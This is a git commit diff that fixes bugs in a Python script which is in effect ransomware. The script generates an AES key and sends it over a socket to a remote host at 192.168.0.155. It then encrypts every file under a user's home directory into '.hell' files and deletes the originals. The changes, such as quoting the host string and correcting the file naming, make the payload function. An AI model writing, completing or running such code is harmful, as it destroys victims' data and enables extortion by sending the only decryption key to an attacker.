Fixed some stuff in main script

This commit is contained in:
hellisabove
2024-08-23 17:54:31 +03:00
parent 51d12c3e5e
commit f7e90a54c8
+9 -7
View File
@@ -8,30 +8,32 @@ from Crypto.Util.Padding import pad
# We create a socket to send the encryption key to a remote server
def send_key(key):
host = 192.168.0.155
port = 9090
host = "192.168.0.155"
port = 8092
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall(key)
s.send(key)
print("Key sent")
s.shutdown(2)
s.close()
# Function to encrypt a file and removing the unencrypted one
def encrypt_file(file, key, iv):
cipher = AES.new(key, AES.MODE_CBC, iv)
file_name = file
with open(file, 'rb') as file:
plaintext = file.read()
ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))
with open(file + 'hell', 'wb') as enc_file:
with open(file_name + ".hell", "wb") as enc_file:
enc_file.write(iv + ciphertext)
os.remove(file)
# This will go through the specified folder and encrypt all of the files, even from subfolders
def encrypt_whole(path):
def encrypt_whole(folder_path):
key = get_random_bytes(32)
iv = get_random_bytes(16)
send_key(key)
@@ -55,4 +57,4 @@ if __name__ == "__main__":
elif platform.system == "Darwin":
path = '/Users/' + username
encrypt_whole(path)
encrypt_whole("/home/hellisabove/test")